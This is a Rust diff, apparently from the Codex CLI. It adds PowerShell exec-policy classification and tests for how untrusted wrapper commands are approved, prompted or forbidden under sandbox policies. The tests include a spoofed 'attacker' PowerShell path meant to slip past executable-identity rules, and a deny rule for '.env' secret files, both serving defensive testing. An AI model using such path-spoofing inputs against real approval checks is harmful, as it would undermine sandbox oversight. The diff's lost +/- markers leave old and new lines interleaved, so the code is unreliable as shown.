let command_origin = if commands
|
||||
.iter()
|
||||
.any(|command| path_qualified_shell_wrapper(command))
|
||||
{
|
||||
ExecPolicyCommandOrigin::PathQualifiedShell
|
||||
} else {
|
||||
ExecPolicyCommandOrigin::Generic
|
||||
};
|
||||
return ExecPolicyCommands {
|
||||
commands,
|
||||
used_complex_parsing: false,
|
||||
command_origin,
|
||||
command_origin: ExecPolicyCommandOrigin::Generic,
|
||||
};
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
{
|
||||
if parse_shell_wrapper
|
||||
&& let Some(commands) =
|
||||
codex_shell_command::powershell::parse_powershell_command_into_plain_commands(
|
||||
command,
|
||||
)
|
||||
&& !commands.is_empty()
|
||||
{
|
||||
return ExecPolicyCommands {
|
||||
commands,
|
||||
used_complex_parsing: false,
|
||||
command_origin: ExecPolicyCommandOrigin::PowerShell,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
if parse_shell_wrapper
|
||||
&& let Some(single_command) = parse_shell_lc_single_command_prefix(command)
|
||||
{
|
||||
if let Some(single_command) = parse_shell_lc_single_command_prefix(command) {
|
||||
return ExecPolicyCommands {
|
||||
commands: vec![single_command],
|
||||
used_complex_parsing: true,
|
||||
@@ -854,28 +1071,10 @@ fn commands_for_exec_policy(
|
||||
ExecPolicyCommands {
|
||||
commands: vec![command.to_vec()],
|
||||
used_complex_parsing: false,
|
||||
command_origin: if input_source == ExecPolicyInputSource::ModelSelectedPath {
|
||||
ExecPolicyCommandOrigin::PathQualifiedShell
|
||||
} else {
|
||||
ExecPolicyCommandOrigin::Generic
|
||||
},
|
||||
command_origin: ExecPolicyCommandOrigin::Generic,
|
||||
}
|
||||
}
|
||||
|
||||
fn path_qualified_shell_wrapper(command: &[String]) -> bool {
|
||||
let shell = extract_bash_command(command)
|
||||
.map(|(shell, _)| shell)
|
||||
.or_else(|| extract_powershell_command(command).map(|(shell, _)| shell));
|
||||
|
||||
shell.is_some_and(shell_executable_is_path_qualified)
|
||||
}
|
||||
|
||||
pub(crate) fn shell_executable_is_path_qualified(shell: &str) -> bool {
|
||||
Path::new(shell).components().count() != 1
|
||||
|| shell.contains(['/', '\\'])
|
||||
|| shell.as_bytes().get(1) == Some(&b':')
|
||||
}
|
||||
|
||||
/// Derive a proposed execpolicy amendment when a command requires user approval
|
||||
/// - If any execpolicy rule prompts, return None, because an amendment would not skip that policy requirement.
|
||||
/// - Otherwise return the first heuristics Prompt.
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
use codex_shell_command::powershell::PowerShellExecPolicyParse;
|
||||
use codex_shell_command::powershell::PowerShellExecPolicyParseOutcome;
|
||||
|
||||
use super::render_shlex_command;
|
||||
use crate::tools::sandboxing::ExecApprovalRequirement;
|
||||
|
||||
pub(super) enum PreparedPowerShell {
|
||||
Terminal(ExecApprovalRequirement),
|
||||
Parsed(ParsedPowerShell),
|
||||
Unsupported,
|
||||
}
|
||||
|
||||
enum RuntimeTrust {
|
||||
Trusted,
|
||||
Untrusted { outer_argv: Vec<String> },
|
||||
}
|
||||
|
||||
pub(super) struct ParsedPowerShell {
|
||||
commands: Vec<Vec<String>>,
|
||||
runtime: RuntimeTrust,
|
||||
}
|
||||
|
||||
pub(super) fn prepare(command: &[String]) -> Option<PreparedPowerShell> {
|
||||
let parsed =
|
||||
codex_shell_command::powershell::parse_powershell_command_for_exec_policy(command)?;
|
||||
prepare_classified(command, parsed)
|
||||
}
|
||||
|
||||
pub(super) fn prepare_classified(
|
||||
command: &[String],
|
||||
parsed: PowerShellExecPolicyParse,
|
||||
) -> Option<PreparedPowerShell> {
|
||||
match parsed {
|
||||
PowerShellExecPolicyParse::TrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Commands(commands),
|
||||
} => Some(PreparedPowerShell::Parsed(ParsedPowerShell {
|
||||
commands,
|
||||
runtime: RuntimeTrust::Trusted,
|
||||
})),
|
||||
PowerShellExecPolicyParse::TrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Unsupported,
|
||||
} => Some(PreparedPowerShell::Unsupported),
|
||||
PowerShellExecPolicyParse::TrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Failed,
|
||||
} => Some(forbidden(command, "the protected PowerShell parser failed")),
|
||||
PowerShellExecPolicyParse::UntrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Commands(commands),
|
||||
} if !commands.is_empty()
|
||||
&& commands
|
||||
.iter()
|
||||
.all(|inner| !inner.is_empty() && inner.iter().all(|word| !word.is_empty())) =>
|
||||
{
|
||||
Some(PreparedPowerShell::Parsed(ParsedPowerShell {
|
||||
commands,
|
||||
runtime: RuntimeTrust::Untrusted {
|
||||
outer_argv: command.to_vec(),
|
||||
},
|
||||
}))
|
||||
}
|
||||
PowerShellExecPolicyParse::UntrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Commands(_),
|
||||
} => Some(forbidden(
|
||||
command,
|
||||
"the protected system parser returned an empty command while inspecting an untrusted PowerShell wrapper",
|
||||
)),
|
||||
PowerShellExecPolicyParse::UntrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Unsupported,
|
||||
} => Some(forbidden(
|
||||
command,
|
||||
"an untrusted PowerShell wrapper could not be inspected with the protected system parser",
|
||||
)),
|
||||
PowerShellExecPolicyParse::UntrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Failed,
|
||||
} => Some(forbidden(
|
||||
command,
|
||||
"the protected system parser failed while inspecting an untrusted PowerShell wrapper",
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
fn forbidden(command: &[String], reason: &str) -> PreparedPowerShell {
|
||||
PreparedPowerShell::Terminal(ExecApprovalRequirement::Forbidden {
|
||||
reason: format!("`{}` rejected: {reason}", render_shlex_command(command)),
|
||||
})
|
||||
}
|
||||
|
||||
impl ParsedPowerShell {
|
||||
pub(super) fn commands(&self) -> &[Vec<String>] {
|
||||
&self.commands
|
||||
}
|
||||
|
||||
pub(super) fn untrusted_outer_argv(&self) -> Option<&[String]> {
|
||||
match &self.runtime {
|
||||
RuntimeTrust::Trusted => None,
|
||||
RuntimeTrust::Untrusted { outer_argv } => Some(outer_argv),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,907 @@
|
||||
use super::*;
|
||||
use codex_shell_command::powershell::PowerShellExecPolicyParse;
|
||||
use codex_shell_command::powershell::PowerShellExecPolicyParseOutcome;
|
||||
|
||||
fn trusted_windows_powershell() -> String {
|
||||
codex_shell_command::powershell::try_find_powershell_executable_blocking()
|
||||
.expect("Windows PowerShell must be installed")
|
||||
.as_path()
|
||||
.to_str()
|
||||
.expect("the Windows PowerShell path must be valid UTF-8")
|
||||
.to_string()
|
||||
}
|
||||
|
||||
fn powershell_command(script: &str) -> Vec<String> {
|
||||
vec![
|
||||
trusted_windows_powershell(),
|
||||
"-Command".to_string(),
|
||||
script.to_string(),
|
||||
]
|
||||
}
|
||||
|
||||
fn untrusted_powershell_command(script: &str) -> Vec<String> {
|
||||
vec![
|
||||
"powershell.exe".to_string(),
|
||||
"-Command".to_string(),
|
||||
script.to_string(),
|
||||
]
|
||||
}
|
||||
|
||||
fn prefix_rule_for(command: &[String], decision: &str) -> String {
|
||||
let pattern = command
|
||||
.iter()
|
||||
.map(|word| format!(r#""{}""#, starlark_string(word)))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
format!(r#"prefix_rule(pattern=[{pattern}], decision="{decision}")"#)
|
||||
}
|
||||
|
||||
fn outer_result(command: &[String], prompt: bool) -> ExecApprovalRequirement {
|
||||
let amendment = Some(ExecPolicyAmendment::new(command.to_vec()));
|
||||
if prompt {
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: amendment,
|
||||
}
|
||||
} else {
|
||||
ExecApprovalRequirement::Skip {
|
||||
bypass_sandbox: false,
|
||||
proposed_execpolicy_amendment: amendment,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn granular(rules: bool, sandbox_approval: bool) -> AskForApproval {
|
||||
AskForApproval::Granular(GranularApprovalConfig {
|
||||
rules,
|
||||
sandbox_approval,
|
||||
skill_approval: false,
|
||||
request_permissions: false,
|
||||
mcp_elicitations: false,
|
||||
})
|
||||
}
|
||||
|
||||
fn approval_policies() -> [AskForApproval; 7] {
|
||||
[
|
||||
AskForApproval::Never,
|
||||
AskForApproval::OnRequest,
|
||||
AskForApproval::UnlessTrusted,
|
||||
granular(/*rules*/ false, /*sandbox_approval*/ false),
|
||||
granular(/*rules*/ false, /*sandbox_approval*/ true),
|
||||
granular(/*rules*/ true, /*sandbox_approval*/ false),
|
||||
granular(/*rules*/ true, /*sandbox_approval*/ true),
|
||||
]
|
||||
}
|
||||
|
||||
async fn requirement(
|
||||
policy_src: Option<&str>,
|
||||
command: &[String],
|
||||
approval_policy: AskForApproval,
|
||||
permission_profile: PermissionProfile,
|
||||
sandbox_permissions: SandboxPermissions,
|
||||
) -> ExecApprovalRequirement {
|
||||
requirement_with_options(
|
||||
policy_src,
|
||||
command,
|
||||
approval_policy,
|
||||
permission_profile,
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
sandbox_permissions,
|
||||
/*prefix_rule*/ None,
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn requirement_with_options(
|
||||
policy_src: Option<&str>,
|
||||
command: &[String],
|
||||
approval_policy: AskForApproval,
|
||||
permission_profile: PermissionProfile,
|
||||
windows_sandbox_level: WindowsSandboxLevel,
|
||||
sandbox_permissions: SandboxPermissions,
|
||||
prefix_rule: Option<Vec<String>>,
|
||||
) -> ExecApprovalRequirement {
|
||||
let policy = policy_from_src(policy_src);
|
||||
ExecPolicyManager::new(policy)
|
||||
.create_exec_approval_requirement_for_command(ExecApprovalRequest {
|
||||
command,
|
||||
approval_policy,
|
||||
permission_profile,
|
||||
windows_sandbox_level,
|
||||
sandbox_permissions,
|
||||
prefix_rule,
|
||||
})
|
||||
.await
|
||||
}
|
||||
|
||||
fn composed_untrusted_requirement(
|
||||
policy_src: Option<&str>,
|
||||
outer_argv: &[String],
|
||||
commands: &[Vec<String>],
|
||||
approval_policy: AskForApproval,
|
||||
permission_profile: &PermissionProfile,
|
||||
windows_sandbox_level: WindowsSandboxLevel,
|
||||
sandbox_permissions: SandboxPermissions,
|
||||
) -> ExecApprovalRequirement {
|
||||
let policy = policy_from_src(policy_src);
|
||||
create_untrusted_powershell_approval_requirement(
|
||||
policy.as_ref(),
|
||||
outer_argv,
|
||||
commands,
|
||||
UnmatchedCommandContext {
|
||||
approval_policy,
|
||||
permission_profile,
|
||||
windows_sandbox_level,
|
||||
sandbox_permissions,
|
||||
used_complex_parsing: false,
|
||||
command_origin: ExecPolicyCommandOrigin::PowerShell,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
fn one_shot(reason: Option<String>) -> ExecApprovalRequirement {
|
||||
ExecApprovalRequirement::NeedsOneShotApproval { reason }
|
||||
}
|
||||
|
||||
fn untrusted_skip(bypass_sandbox: bool) -> ExecApprovalRequirement {
|
||||
ExecApprovalRequirement::Skip {
|
||||
bypass_sandbox,
|
||||
proposed_execpolicy_amendment: None,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn untrusted_parsed_state_retains_exact_outer_argv_and_trusted_state_does_not() {
|
||||
let outer_argv = vec_str(&[
|
||||
r"\\?\C:\Workspace\PoWeRsHeLl.ExE. ",
|
||||
"-NoProfile",
|
||||
"-Command",
|
||||
"echo First; Write-Output SECOND",
|
||||
]);
|
||||
let commands = vec![
|
||||
vec_str(&["echo", "First"]),
|
||||
vec_str(&["Write-Output", "SECOND"]),
|
||||
];
|
||||
|
||||
let Some(powershell_policy::PreparedPowerShell::Parsed(untrusted)) =
|
||||
powershell_policy::prepare_classified(
|
||||
&outer_argv,
|
||||
PowerShellExecPolicyParse::UntrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Commands(commands.clone()),
|
||||
},
|
||||
)
|
||||
else {
|
||||
panic!("nonempty inspected untrusted PowerShell should remain policy-evaluable");
|
||||
};
|
||||
pretty_assertions::assert_eq!(untrusted.commands(), commands);
|
||||
pretty_assertions::assert_eq!(
|
||||
untrusted.untrusted_outer_argv(),
|
||||
Some(outer_argv.as_slice())
|
||||
);
|
||||
|
||||
let Some(powershell_policy::PreparedPowerShell::Parsed(trusted)) =
|
||||
powershell_policy::prepare_classified(
|
||||
&outer_argv,
|
||||
PowerShellExecPolicyParse::TrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Commands(vec![vec_str(&[
|
||||
"Get-Location",
|
||||
])]),
|
||||
},
|
||||
)
|
||||
else {
|
||||
panic!("trusted parsed PowerShell should remain parsed");
|
||||
};
|
||||
pretty_assertions::assert_eq!(trusted.untrusted_outer_argv(), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn untrusted_opaque_failed_and_empty_parser_states_remain_terminal() {
|
||||
let command = untrusted_powershell_command("echo blocked");
|
||||
let rendered = render_shlex_command(&command);
|
||||
let cases = [
|
||||
(
|
||||
PowerShellExecPolicyParseOutcome::Commands(Vec::new()),
|
||||
"the protected system parser returned an empty command while inspecting an untrusted PowerShell wrapper",
|
||||
),
|
||||
(
|
||||
PowerShellExecPolicyParseOutcome::Commands(vec![Vec::new()]),
|
||||
"the protected system parser returned an empty command while inspecting an untrusted PowerShell wrapper",
|
||||
),
|
||||
(
|
||||
PowerShellExecPolicyParseOutcome::Commands(vec![vec![String::new()]]),
|
||||
"the protected system parser returned an empty command while inspecting an untrusted PowerShell wrapper",
|
||||
),
|
||||
(
|
||||
PowerShellExecPolicyParseOutcome::Unsupported,
|
||||
"an untrusted PowerShell wrapper could not be inspected with the protected system parser",
|
||||
),
|
||||
(
|
||||
PowerShellExecPolicyParseOutcome::Failed,
|
||||
"the protected system parser failed while inspecting an untrusted PowerShell wrapper",
|
||||
),
|
||||
];
|
||||
|
||||
for (outcome, reason) in cases {
|
||||
let Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) =
|
||||
powershell_policy::prepare_classified(
|
||||
&command,
|
||||
PowerShellExecPolicyParse::UntrustedRuntime { outcome },
|
||||
)
|
||||
else {
|
||||
panic!("untrusted opaque, failed, and empty states must remain terminal");
|
||||
};
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement,
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!("`{rendered}` rejected: {reason}"),
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn untrusted_outer_and_every_inner_command_compose_with_strictest_wins() {
|
||||
let outer = vec_str(&[r"C:\workspace\powershell.exe", "-Command", "echo allowed"]);
|
||||
let rendered = render_shlex_command(&outer);
|
||||
let echo = vec_str(&["echo", "allowed"]);
|
||||
let later = vec_str(&["madeup-later", "value"]);
|
||||
let full_outer_allow = prefix_rule_for(&outer, "allow");
|
||||
let short_outer_allow = prefix_rule_for(&outer[..1], "allow");
|
||||
let outer_prompt = prefix_rule_for(&outer, "prompt");
|
||||
let outer_forbidden = prefix_rule_for(&outer, "forbidden");
|
||||
let echo_allow = prefix_rule_for(&echo[..1], "allow");
|
||||
let echo_prompt = prefix_rule_for(&echo[..1], "prompt");
|
||||
let echo_forbidden = prefix_rule_for(&echo[..1], "forbidden");
|
||||
let later_prompt = prefix_rule_for(&later[..1], "prompt");
|
||||
let later_forbidden = prefix_rule_for(&later[..1], "forbidden");
|
||||
let policy_prompt_reason = Some(format!("`{rendered}` requires approval by policy"));
|
||||
|
||||
let cases = vec![
|
||||
(
|
||||
"complete outer and every inner explicit allow",
|
||||
format!("{full_outer_allow}\n{echo_allow}"),
|
||||
vec![echo.clone()],
|
||||
untrusted_skip(true),
|
||||
),
|
||||
(
|
||||
"short outer allow remains sandbox preserving",
|
||||
format!("{short_outer_allow}\n{echo_allow}"),
|
||||
vec![echo.clone()],
|
||||
untrusted_skip(false),
|
||||
),
|
||||
(
|
||||
"heuristic inner allow cannot establish full authority",
|
||||
full_outer_allow.clone(),
|
||||
vec![vec_str(&["Get-Location"])],
|
||||
untrusted_skip(false),
|
||||
),
|
||||
(
|
||||
"inner prompt dominates outer allow",
|
||||
format!("{full_outer_allow}\n{echo_prompt}"),
|
||||
vec![echo.clone()],
|
||||
one_shot(policy_prompt_reason.clone()),
|
||||
),
|
||||
(
|
||||
"outer prompt dominates inner allow",
|
||||
format!("{outer_prompt}\n{echo_allow}"),
|
||||
vec![echo.clone()],
|
||||
one_shot(policy_prompt_reason.clone()),
|
||||
),
|
||||
(
|
||||
"unmatched outer prompts even with inner allow",
|
||||
echo_allow.clone(),
|
||||
vec![echo.clone()],
|
||||
one_shot(None),
|
||||
),
|
||||
(
|
||||
"outer forbidden is terminal",
|
||||
format!("{outer_forbidden}\n{echo_allow}"),
|
||||
vec![echo.clone()],
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!(
|
||||
"`{rendered}` rejected: policy forbids commands starting with `{rendered}`"
|
||||
),
|
||||
},
|
||||
),
|
||||
(
|
||||
"inner forbidden is terminal",
|
||||
format!("{full_outer_allow}\n{echo_forbidden}"),
|
||||
vec![echo.clone()],
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!(
|
||||
"`{rendered}` rejected: policy forbids commands starting with `echo`"
|
||||
),
|
||||
},
|
||||
),
|
||||
(
|
||||
"later statement prompt participates",
|
||||
format!("{full_outer_allow}\n{echo_allow}\n{later_prompt}"),
|
||||
vec![echo.clone(), later.clone()],
|
||||
one_shot(policy_prompt_reason),
|
||||
),
|
||||
(
|
||||
"later statement forbidden participates",
|
||||
format!("{full_outer_allow}\n{echo_allow}\n{later_forbidden}"),
|
||||
vec![echo, later],
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!(
|
||||
"`{rendered}` rejected: policy forbids commands starting with `madeup-later`"
|
||||
),
|
||||
},
|
||||
),
|
||||
(
|
||||
"nested wrapper does not inherit outer authority",
|
||||
full_outer_allow,
|
||||
vec![vec_str(&["powershell.exe", "-Command", "Get-Location"])],
|
||||
untrusted_skip(false),
|
||||
),
|
||||
];
|
||||
|
||||
for (name, policy_src, commands, expected) in cases {
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&policy_src),
|
||||
&outer,
|
||||
&commands,
|
||||
AskForApproval::OnRequest,
|
||||
&PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
),
|
||||
expected,
|
||||
"{name}",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn untrusted_unmatched_outer_and_mixed_prompt_causes_follow_approval_policy() {
|
||||
let outer = untrusted_powershell_command("echo allowed");
|
||||
let echo = vec_str(&["echo", "allowed"]);
|
||||
let echo_allow = prefix_rule_for(&echo[..1], "allow");
|
||||
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&echo_allow),
|
||||
&outer,
|
||||
std::slice::from_ref(&echo),
|
||||
AskForApproval::Never,
|
||||
&PermissionProfile::Disabled,
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
),
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!(
|
||||
"`{}` rejected: blocked by policy",
|
||||
render_shlex_command(&outer)
|
||||
),
|
||||
},
|
||||
);
|
||||
for approval_policy in [AskForApproval::OnRequest, AskForApproval::UnlessTrusted] {
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&echo_allow),
|
||||
&outer,
|
||||
std::slice::from_ref(&echo),
|
||||
approval_policy,
|
||||
&PermissionProfile::Disabled,
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
),
|
||||
one_shot(None),
|
||||
"{approval_policy:?}",
|
||||
);
|
||||
}
|
||||
|
||||
let outer_prompt = prefix_rule_for(&outer, "prompt");
|
||||
let mixed_policy = format!("{outer_prompt}\n{echo_allow}");
|
||||
for (rules, sandbox_approval, expected) in [
|
||||
(
|
||||
false,
|
||||
false,
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: REJECT_RULES_APPROVAL_REASON.to_string(),
|
||||
},
|
||||
),
|
||||
(
|
||||
false,
|
||||
true,
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: REJECT_RULES_APPROVAL_REASON.to_string(),
|
||||
},
|
||||
),
|
||||
(
|
||||
true,
|
||||
false,
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(),
|
||||
},
|
||||
),
|
||||
(
|
||||
true,
|
||||
true,
|
||||
one_shot(Some(format!(
|
||||
"`{}` requires approval by policy",
|
||||
render_shlex_command(&outer)
|
||||
))),
|
||||
),
|
||||
] {
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&mixed_policy),
|
||||
&outer,
|
||||
std::slice::from_ref(&echo),
|
||||
granular(rules, sandbox_approval),
|
||||
&PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::RequireEscalated,
|
||||
),
|
||||
expected,
|
||||
"rules={rules}, sandbox_approval={sandbox_approval}",
|
||||
);
|
||||
}
|
||||
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&mixed_policy),
|
||||
&outer,
|
||||
std::slice::from_ref(&echo),
|
||||
granular(/*rules*/ true, /*sandbox_approval*/ false),
|
||||
&PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
),
|
||||
one_shot(Some(format!(
|
||||
"`{}` requires approval by policy",
|
||||
render_shlex_command(&outer)
|
||||
))),
|
||||
"a rule-only prompt does not require sandbox approval",
|
||||
);
|
||||
|
||||
let full_outer_allow = prefix_rule_for(&outer, "allow");
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&full_outer_allow),
|
||||
&outer,
|
||||
std::slice::from_ref(&echo),
|
||||
granular(/*rules*/ false, /*sandbox_approval*/ true),
|
||||
&PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::RequireEscalated,
|
||||
),
|
||||
one_shot(None),
|
||||
"a sandbox-only prompt does not require rules approval",
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn untrusted_permission_and_windows_backend_gates_require_composed_authority() {
|
||||
use SandboxPermissions as SP;
|
||||
use WindowsSandboxLevel as WSL;
|
||||
|
||||
let outer = untrusted_powershell_command("Get-Content Cargo.toml");
|
||||
let inner = vec_str(&["Get-Content", "Cargo.toml"]);
|
||||
let partial_policy = format!(
|
||||
"{}\n{}",
|
||||
prefix_rule_for(&outer[..1], "allow"),
|
||||
prefix_rule_for(&inner[..1], "allow")
|
||||
);
|
||||
let full_policy = format!(
|
||||
"{}\n{}",
|
||||
prefix_rule_for(&outer, "allow"),
|
||||
prefix_rule_for(&inner[..1], "allow")
|
||||
);
|
||||
let denied_read_profile = PermissionProfile::from_runtime_permissions(
|
||||
&FileSystemSandboxPolicy::restricted(vec![FileSystemSandboxEntry {
|
||||
path: FileSystemPath::GlobPattern {
|
||||
pattern: "**/*.env".to_string(),
|
||||
},
|
||||
access: FileSystemAccessMode::Deny,
|
||||
}]),
|
||||
NetworkSandboxPolicy::Restricted,
|
||||
);
|
||||
let external_profile = PermissionProfile::External {
|
||||
network: NetworkSandboxPolicy::Restricted,
|
||||
};
|
||||
|
||||
for (name, profile, level, permissions, prompts) in [
|
||||
(
|
||||
"managed default",
|
||||
PermissionProfile::read_only(),
|
||||
WSL::RestrictedToken,
|
||||
SP::UseDefault,
|
||||
false,
|
||||
),
|
||||
(
|
||||
"managed escalation",
|
||||
PermissionProfile::read_only(),
|
||||
WSL::RestrictedToken,
|
||||
SP::RequireEscalated,
|
||||
true,
|
||||
),
|
||||
(
|
||||
"additional permissions",
|
||||
PermissionProfile::read_only(),
|
||||
WSL::RestrictedToken,
|
||||
SP::WithAdditionalPermissions,
|
||||
true,
|
||||
),
|
||||
(
|
||||
"missing managed backend",
|
||||
PermissionProfile::read_only(),
|
||||
WSL::Disabled,
|
||||
SP::UseDefault,
|
||||
true,
|
||||
),
|
||||
(
|
||||
"denied-read escalation",
|
||||
denied_read_profile,
|
||||
WSL::RestrictedToken,
|
||||
SP::RequireEscalated,
|
||||
false,
|
||||
),
|
||||
(
|
||||
"disabled profile",
|
||||
PermissionProfile::Disabled,
|
||||
WSL::Disabled,
|
||||
SP::RequireEscalated,
|
||||
false,
|
||||
),
|
||||
(
|
||||
"external default",
|
||||
external_profile.clone(),
|
||||
WSL::RestrictedToken,
|
||||
SP::UseDefault,
|
||||
false,
|
||||
),
|
||||
(
|
||||
"external escalation",
|
||||
external_profile,
|
||||
WSL::RestrictedToken,
|
||||
SP::RequireEscalated,
|
||||
true,
|
||||
),
|
||||
] {
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&partial_policy),
|
||||
&outer,
|
||||
std::slice::from_ref(&inner),
|
||||
AskForApproval::OnRequest,
|
||||
&profile,
|
||||
level,
|
||||
permissions,
|
||||
),
|
||||
if prompts {
|
||||
one_shot(None)
|
||||
} else {
|
||||
untrusted_skip(false)
|
||||
},
|
||||
"{name}",
|
||||
);
|
||||
}
|
||||
|
||||
for (level, permissions) in [
|
||||
(WSL::RestrictedToken, SP::RequireEscalated),
|
||||
(WSL::RestrictedToken, SP::WithAdditionalPermissions),
|
||||
(WSL::Disabled, SP::UseDefault),
|
||||
] {
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&full_policy),
|
||||
&outer,
|
||||
std::slice::from_ref(&inner),
|
||||
AskForApproval::OnRequest,
|
||||
&PermissionProfile::read_only(),
|
||||
level,
|
||||
permissions,
|
||||
),
|
||||
untrusted_skip(true),
|
||||
"composed authority should cover {level:?} and {permissions:?}",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn untrusted_wrapper_identity_uses_exact_outer_and_restrictive_basename_rules() {
|
||||
let path_a = vec_str(&[r"C:\workspace-a\powershell.exe", "-Command", "echo allowed"]);
|
||||
let path_b = vec_str(&[r"C:\workspace-b\powershell.exe", "-Command", "echo allowed"]);
|
||||
let inner = vec_str(&["echo", "allowed"]);
|
||||
let inner_allow = prefix_rule_for(&inner[..1], "allow");
|
||||
let basename_allow = prefix_rule_for(&vec_str(&["powershell.exe"]), "allow");
|
||||
let exact_a_allow = prefix_rule_for(&path_a, "allow");
|
||||
let basename_prompt = prefix_rule_for(&vec_str(&["powershell.exe"]), "prompt");
|
||||
let basename_forbidden = prefix_rule_for(&vec_str(&["powershell.exe"]), "forbidden");
|
||||
let mut extended = path_a.clone();
|
||||
extended.insert(1, "-NoProfile".to_string());
|
||||
let namespace_outer = vec_str(&[
|
||||
r"\\?\C:\attacker\powershell.exe.",
|
||||
"-Command",
|
||||
"echo allowed",
|
||||
]);
|
||||
let namespace_policy = format!(
|
||||
"{}\nhost_executable(name = \"powershell\", paths = [\"C:\\\\trusted\\\\powershell.exe\"])\n{inner_allow}",
|
||||
prefix_rule_for(&vec_str(&["powershell.exe."]), "allow")
|
||||
);
|
||||
let rendered_a = render_shlex_command(&path_a);
|
||||
let cases = vec![
|
||||
(
|
||||
"basename Allow",
|
||||
path_a.clone(),
|
||||
format!("{basename_allow}\n{inner_allow}"),
|
||||
one_shot(None),
|
||||
),
|
||||
(
|
||||
"path A rule against B",
|
||||
path_b,
|
||||
format!("{exact_a_allow}\n{inner_allow}"),
|
||||
one_shot(None),
|
||||
),
|
||||
(
|
||||
"basename Prompt",
|
||||
path_a.clone(),
|
||||
format!("{exact_a_allow}\n{basename_prompt}\n{inner_allow}"),
|
||||
one_shot(Some(format!("`{rendered_a}` requires approval by policy"))),
|
||||
),
|
||||
(
|
||||
"basename Forbidden",
|
||||
path_a,
|
||||
format!("{exact_a_allow}\n{basename_forbidden}\n{inner_allow}"),
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!(
|
||||
"`{rendered_a}` rejected: policy forbids commands starting with `powershell.exe`"
|
||||
),
|
||||
},
|
||||
),
|
||||
(
|
||||
"extended argv",
|
||||
extended,
|
||||
format!("{exact_a_allow}\n{inner_allow}"),
|
||||
one_shot(None),
|
||||
),
|
||||
(
|
||||
"mapped namespace",
|
||||
namespace_outer,
|
||||
namespace_policy,
|
||||
one_shot(None),
|
||||
),
|
||||
];
|
||||
|
||||
for (name, outer, policy_src, expected) in cases {
|
||||
pretty_assertions::assert_eq!(
|
||||
composed_untrusted_requirement(
|
||||
Some(&policy_src),
|
||||
&outer,
|
||||
std::slice::from_ref(&inner),
|
||||
AskForApproval::OnRequest,
|
||||
&PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
),
|
||||
expected,
|
||||
"{name}",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn untrusted_parsed_results_ignore_requested_amendments() {
|
||||
let command = untrusted_powershell_command("echo allowed");
|
||||
let inner_allow = prefix_rule_for(&vec_str(&["echo"]), "allow");
|
||||
let requested_prefix = Some(vec_str(&["echo"]));
|
||||
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement_with_options(
|
||||
/*policy_src*/ None,
|
